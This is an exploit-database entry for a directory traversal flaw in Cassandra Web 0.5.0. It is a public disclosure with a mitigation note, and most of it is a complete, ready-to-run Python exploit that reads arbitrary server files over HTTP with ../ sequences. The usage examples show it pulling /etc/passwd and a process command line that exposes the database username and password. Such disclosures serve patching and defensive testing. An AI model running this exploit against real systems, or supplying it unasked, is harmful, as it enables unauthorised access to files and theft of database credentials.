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Cassandra Web
by:
Jeremy Brown
7.5
CVSS
HIGH
Directory Traversal
22
CWE
Product Name: Cassandra Web
Affected Version From: 0.5.0
Affected Version To: 0.5.0
Patch Exists: YES
Related CWE: N/A
CPE: a:avalanche123:cassandra-web:0.5.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Linux
2020

Cassandra Web 0.5.0 – Remote File Read

Cassandra Web is vulnerable to directory traversal due to the disabled Rack::Protection module. Apache Cassandra credentials are passed via the CLI in order for the server to auth to it and provide the web access, so they are also one thing that can be captured via the arbitrary file read.

Mitigation:

Fixed in github repo and v0.6.0 / ruby-gems when available. It is still recommended to containerize / run this in some sandbox, apparmor, etc.
Source

Exploit-DB raw data:

# Exploit Title: Cassandra Web 0.5.0 - Remote File Read
# Date: 12-28-2020
# Exploit Author: Jeremy Brown
# Vendor Homepage: https://github.com/avalanche123/cassandra-web
# Software Link: https://rubygems.org/gems/cassandra-web/versions/0.5.0
# Version: 0.5.0
# Tested on: Linux

#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# cassmoney.py
#
# Cassandra Web 0.5.0 Remote File Read Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# Cassandra Web is vulnerable to directory traversal due to the disabled
# Rack::Protection module. Apache Cassandra credentials are passed via the
# CLI in order for the server to auth to it and provide the web access, so
# they are also one thing that can be captured via the arbitrary file read.
#
# Usage
# > cassmoney.py 10.0.0.5 /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# ...
#
# > cassmoney.py 10.0.0.5 /proc/self/cmdline
# /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd
#
# (these creds are for auth to the running apache cassandra database server)
#
# Fix
# - fixed in github repo
# - v0.6.0 / ruby-gems when available
# (still recommended to containerize / run this in some sandbox, apparmor, etc)
#

import os
import sys
import argparse
import requests
import urllib.parse

SIGNATURE = 'cassandra.js'

#
# /var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public
#
DT = '../'
DT_NUM = 8

class CassMoney(object):
	def __init__(self, args):
		self.target = args.target
		self.file = args.file
		self.port = args.port
		self.force = args.force
		self.number = args.number

	def run(self):
		target = "http://" + self.target + ':' + str(self.port)

		payload = urllib.parse.quote_plus(DT * self.number + self.file)

		try:
			deskpop = requests.get(target)
		except Exception as error:
			print("Error: %s" % error)
			return -1

		if(SIGNATURE not in deskpop.text and self.force == False):
			print("Target doesn't look like Cassandra Web, aborting...")
			return -1

		try:
			req = requests.get(target + '/' + payload)
		except:
			print("Failed to read %s (perm denied likely)" % self.file)
			return -1

		if(SIGNATURE in req.text):
			print("Failed to read %s (bad path?)" % self.file)
			return -1

		if(len(req.text) == 0):
			print("Server returned nothing for some reason")
			return 0

		print("\n%s" % req.text)

		return 0

def arg_parse():
	parser = argparse.ArgumentParser()

	parser.add_argument("target",
						type=str,
						help="Cassandra Web Host")

	parser.add_argument("file",
						type=str,
						help="eg. /etc/passwd, /proc/sched_debug + /proc/<cass-web-pid>/cmdline")

	parser.add_argument("-p",
						"--port",
						type=int,
						default=3000,
						help="Cassandra Web Port")

	parser.add_argument("-f",
						"--force",
						default=False,
						action='store_true',
						help="Run the payload even if server isn't Cassandra Web")

	parser.add_argument("-n",
						"--number",
						type=int,
						default=DT_NUM,
						help="Adjust the number of dot-dot-slash")

	args = parser.parse_args()

	return args

def main():
	args = arg_parse()

	cm = CassMoney(args)

	result = cm.run()

	if(result > 0):
		sys.exit(-1)

if(__name__ == '__main__'):
	main()